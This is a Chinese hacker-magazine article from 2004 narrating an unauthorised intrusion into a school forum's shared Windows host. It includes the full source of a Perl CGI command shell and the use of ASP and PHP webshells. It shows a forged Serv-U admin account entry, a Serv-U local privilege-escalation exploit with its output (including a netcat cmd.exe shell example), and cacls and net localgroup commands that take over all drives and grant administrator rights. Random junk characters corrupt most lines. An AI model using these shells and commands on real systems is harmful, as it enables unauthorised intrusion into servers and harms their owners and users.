剑走偏锋——灵巧的旁注攻击 : Z+ l c- o+ _/ u( J
本文作者:angel& ^4 o; Q- W8 S+ `/ F' _
文章性质:原创' C( J: b: ^# z, V/ \
发布日期:2004-11-09 - W x! T0 c3 y
注意:
3 {+ g* ~7 ?, K- Y, k8 j- @本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
5 ]4 i! r% N O& ^本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。0 E- V+ t4 P0 ]! F
6 ~+ J8 }: D8 x
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
. M* i; `" q6 D, V- B! a/ K
( a, [, |$ J- p& H8 i 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
$ P+ U) m7 `: [
, w' y6 }1 c2 `" u; O) g2 @ 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 ( K5 B, t" I$ u% ]$ w* h8 L+ F
8 ]" A$ | W5 d; \ 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 ) `; B% {) v t
0 \4 d- L1 c; z+ e; M4 m
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
. ]6 f2 ~$ j+ k" i' h) E" C0 h( j% @% B) V+ J6 T
没有目的的跳转目录着……
6 r- R: w; T. Y( d8 E) z3 K5 e4 G& U
4 O5 `4 w7 E; z" `& k1 t/ \/ A 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… " p4 U& `' ?0 k; U, d2 u7 v
& j" Q0 e/ \( m 结束了吗?不,我试着 FTP 一下:
2 \6 ]/ @( {9 t" R0 X. B9 l
0 b6 E& L9 U$ [Microsoft Windows 2000 [Version 5.00.2195]
- D" [) _$ c) D$ ?9 e# j(C) 版权所有 1985-2000 Microsoft Corp.
2 G/ L; g( n6 G7 v7 u. s" Q |, a! N$ h4 s+ k" A W0 m
C:\Documents and Settings\Administrator>ftp www.school.com. ^5 m6 T5 ~7 Z
Connected to www. school.com.
. }' \$ b4 F" _9 V4 f220 Welcome to FTP Server... 6 A( L, o* B" _. E4 u( ~
User (www.bjtrq.com:(none)):
; N: w" y3 i. d7 h$ R331 User name okay, need password. 6 o3 {1 |# T+ T$ C0 U
Password:
3 o3 C- D- {' G7 }; R530 Not logged in. % N6 t8 B4 X- V7 l
Login failed. + i) ^9 K& Q- g3 r! C+ v7 I* `) X( C
ftp> bye
6 y4 `% f- s3 Y) Z, f5 c221 Goodbye! 2 u0 D. ^: \# p( U( V' A
) I; \. \5 d2 l9 I' }6 U% i
. F* i! r7 x4 ] 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
( n$ [- n6 g$ n+ `0 R {+ p/ t. C- j3 P4 U$ G
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 e% w8 d* Z2 ?2 A9 K
6 f6 \/ O( E8 @ E6 ~+ E& hApplication Data
# _) T/ F, ^' C; t3 kDocuments1 ]: @5 [- O6 [5 I [) E4 S1 N# b
DRM- R- H6 l* r E3 s( e6 a/ a
Favorites$ e6 V2 U5 `- X% E2 O$ g- {0 M2 Q
Templates
g# y; D0 p) b9 H, Z0 B「开始」菜单- o( G* N0 `) J) j
桌面 ^; B# m9 ~/ L3 ^. {, I; p6 I1 G
, I# ?! ?' ?: N$ ]/ f5 \# q
3 Q& V& }" a" t. E7 ? 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, % @, L+ w9 S) ~# b
7 _+ r B. j( D, o4 L0 N: V, Q7 t0 `
ActiveState ActivePerl 5.8$ k. F# ?% c! {3 X- N
Administrative Tools; Q9 ~; o1 ?6 c, `
Deerfield.com
0 u2 ]5 w r) ? l6 [/ YDTemp( t3 v( L& i# X3 R% z/ R+ R+ F
IPSentry
% [" S8 N; e- x* K" b5 T1 }MBM 5
; n7 O. [5 {$ l, uNetMeter
/ k' q% X0 P& u5 J6 f! C. rNetwork ICE6 G9 K% g: G0 t3 V3 m A/ D
Persits Software AspEmail4 c& E2 p/ Q7 g# E4 V! {9 P! k
Persits Software AspJpeg
; _1 g" L" A$ s2 eServ-U FTP Server2 i- B, V6 j1 ^
Symantec Client Security- q6 {4 L# h/ u8 D2 ^" E
Windows 优化大师
6 A/ H7 F# P7 m% b5 L. hWinRAR
; D/ c9 ]9 Z9 n* t9 K; Z启动
- j% D0 x" i: J管理工具
9 ~$ i0 O$ \' ]9 [0 K附件, o, c1 V5 q* d$ w/ z. U
& N [0 W5 @5 k0 k0 G
3 s/ _$ G% F9 l! O* y$ p 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 4 e, O8 g# _: x; F, k& c
) W" ~% R( i; b) H& H
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
2 _+ b( E9 F. Q& u% P% A0 ^3 j4 h1 s8 b+ F6 E3 ]
User281=angel|1|0
5 V3 L: p$ K' X; i( w, l0 [0 P # ]1 ^' r s" D; Q) l( _
2 L* y. g) ~8 N" k3 p2 E9 }0 V: D
然后加上 + r% J1 |5 L% T! Y) ]4 s4 q/ Y1 P
2 m/ G3 \* v, e i* t. W3 I; ^
[USER=angel|1]
# t0 _0 R+ j: q, CPassword=ng98F85379EA68DBF97BAADCA99B69B805; L% C# d. x z4 c4 f, C
HomeDir=D:\websites% ]/ [0 T8 B1 ?% U9 T3 K
RelPaths=14 k: w O. ?1 y/ Y
TimeOut=600
; Z6 `: ?7 Y9 V* z# aMaintenance=System
. U4 S, y$ d1 o: P- ]8 oAccess1=D:\websites|RWAMELCDP
$ N7 P) x& v- m& |! OSKEYValues=
; S! m, l; Q, e4 z, K
" g/ j( x, m. @; p* U M i
% e! r' P! t# C7 C: B 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… # r, R9 a/ v( f1 }9 p) H
, f) D& _& o0 V7 f" s% I
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
: n! ^# o. E4 p) Y; n) _6 D* f0 a6 W7 {% ? d5 r
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 9 i- ?8 F( ^: k! e; ^
$ x: ^7 P, d) `: x6 G 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 1 G7 C4 @! \ e) a1 i8 `6 d: A- r) r
4 y) T) M5 @, P6 W2 O#!/usr/bin/perl
! t6 e+ i- D' ?. b- vbinmode(STDOUT);4 h; i) ?3 N9 q# i
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);; f* u# o& u6 \, @% C
$_ = $ENV{QUERY_STRING};$ ]0 C5 b+ _( b2 O4 a2 v& M( V
s/%20/ /ig;
& H. s; f5 g/ g; o$ Zs/%2f/\//ig;3 k8 y% Q \* ^5 N
$execthis = $_;; R. C6 D& t# O' E4 I9 d J: F
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);% Z/ U% F' [+ _6 N) T
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";/ X; z1 u7 s4 s, g* V
system($execthis);
. K7 l% `* ]( d1 V$ D |% \2 bsyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);0 k/ k2 X3 D* O1 X7 N, ?7 p) R
close(STDERR);) D/ ]0 O% ^7 G5 o) I7 q% a
close(STDOUT); R0 _" x3 ~! o5 e
exit;& I; G4 Q$ S1 N9 U3 w6 N
7 E) j( h& W- u+ w
, M. N8 s$ b- h 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! ' ]+ P# i: h9 O& [3 @2 Y
7 }% m% k' s4 ^1 @ 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: / e; w* s7 _: B
1 t; j2 g) K6 L0 j, C+ ^. {0 z
http://anyhost//cmd.pl?d:\user\bin\su.exe 7 }/ B) f }) U
! A) H6 K& p' F$ j( _
) L W1 q j v8 i* m, ?( e- E
返回: ; D* J/ E3 v3 M; @; b" s Q6 l: A
$ T, \& @8 U* iServ-u >3.x Local Exploit by xiaolu 6 E. y. O. t( Z O1 _) G6 A
9 z1 e1 P4 C' z1 L( E" w2 q
USAGE: serv-u.exe "command" ! I9 v& M$ g) l* m- f# Q
4 x) H! q. j/ m4 u. L
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
: V# r" N9 U/ A4 U 6 x( D+ S' L" v* J5 L" K8 ^
9 z+ Q( s5 [: g2 P# f7 x) N
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
+ ^5 S: a( Q' o! Y
3 k% o. A! C0 W8 ]1 D' rhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 0 V+ T: D9 X% A4 X x
* t5 Z3 q$ E1 \$ q' @3 Qhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" : L% d4 k# D% ?* I! n7 U& q
. I2 V$ e& q& x! W; G
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" - |: J" w& U+ X8 b! H1 G& r
) h4 T1 I. j) S9 h/ J0 w& E
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
/ ]/ v8 g8 ~3 T r7 z" [1 |
+ S. r2 f) H2 ?& o' g9 T+ z& H. O+ _
返回下面的信息,就表示成功了!!! / J3 h0 R3 P7 v, R- O4 \4 z
' O% o* ]: p* y9 N
Serv-u >3.x Local Exploit by xiaolu
" w7 }6 b6 m/ T% Z
' U. p, R( S% h( U<220 Serv-U FTP Server v5.2 for WinSock ready...
& W+ D: G7 I/ E! f0 U% z7 s; C _" [$ g" x! W
>USER LocalAdministrator
- j5 _6 @! k+ @3 `% {2 ^. C6 _- |4 {1 d
<331 User name okay, need password.
% f! m% M, S3 _" D4 ]; e: {' ?3 }. V& H8 Z+ h! @
******************************************************
% H3 D/ \# x- m% D8 B' B' R& {! A' h2 E- S) f( U
>PASS #l@$ak#.lk;0@P
1 S& o; O% n0 O) p1 u S' l9 G7 p O( h
<230 User logged in, proceed. ; S# |9 d5 ]* b! B3 P/ W
5 ?, x H( [/ z/ A4 K0 a; B
******************************************************
* T/ |; I$ c X! |7 w
; S7 H+ T& x- Q3 x$ G) Q" V>SITE MAINTENANCE
. {* F$ i5 n7 _ {- ~' _& u1 I
- s$ @6 w0 T; ?9 u6 q: u& c+ ~******************************************************
4 B; K& K7 a( v4 t" R: L: F R, [: Q5 [' X s5 S
[+] Creating New Domain...
, Y: d0 [# ^; F/ Y; F1 |5 s3 I* G0 G8 o. H n3 Z7 z( W; ^' o
<200-DomainID=2 9 |' P4 N$ X, ~) J' O. {+ Z
% A3 a, E, _" A7 Z! Z; P$ Z5 |<220 Domain settings saved
1 w: g K. u9 U2 @) R8 S; O; \9 F2 V. p
****************************************************** $ \2 u: K8 t/ W; |
3 \; n' m. R8 J Y) p+ w( ]3 N$ ?8 x
[+] Domain xl:2 Created . o( F7 I" L# b# X( J
4 n. m1 o. @% z9 @3 q% G; c2 Q/ P! T
[+] Creating Evil User
& @1 Q1 _6 e: O0 R# m: i
, A9 @0 u' y; O( g: J d4 w<200-User=xl
9 T2 q1 x/ [& ]7 R
. i5 g5 |# T) i. N! r200 User settings saved
- K7 a1 [- q: C5 m P- q; ~" h% @0 U+ U x; w6 z( _
****************************************************** & }/ F2 z9 {, i( _1 ~
- [: t8 _( y( Y$ a' Q[+] Now Exploiting... ( C* ~+ C" P% Y* l
; P# V' C; T9 y4 }& h4 U! v>USER xl # z. S: J4 @ V
8 S/ Z5 |9 B* X% p<331 User name okay, need password. , }6 J j; ?' ?/ h1 L
3 s. S* h7 `8 W1 u& I7 |****************************************************** $ ~- n+ {5 E0 d4 T4 I1 g
# l4 \( K$ i* S" O/ Q4 o>PASS 111111 " e4 }* N2 d9 P7 P6 I
. A* e9 b( [# \<230 User logged in, proceed.
% U& U; n [) p# H. w f( T7 d* b% R5 Q
****************************************************** ( @# C6 `2 u/ v6 A5 M
( J4 }2 V: P& A, v' l; b[+] Now Executing: cacls.exe c: /E /T /G everyone:F # }6 k; _/ E: k$ T/ d3 ]
a. S! M2 g! t8 O7 k3 r<220 Domain deleted
5 K; n% h$ |. ?3 l3 d- [* W4 v7 }5 x- o
****************************************************** 8 S ?) T% V" s+ o/ U7 ~& d
( L: `: z( ]0 |+ U
# o7 h; Y0 f' C" N3 H; W
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
6 j; z) \, q/ O6 V I: S9 P. X" t: Q0 B3 N4 G2 s0 M% O1 I8 w
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ; Y$ y3 ]' u7 n# x0 r' W7 f" P
9 P) w* l* s% I
' S, x- ?- P! z8 K 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。
, P6 [$ k* y ~0 W2 x
/ F* b5 Q, F' M# T; d) Z0 a 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
! a) x. [$ j3 i# `1 H$ j
4 G6 s- N8 G: d- ~# [3 E+ t 6 Z- d/ k: H* c5 G, ]
|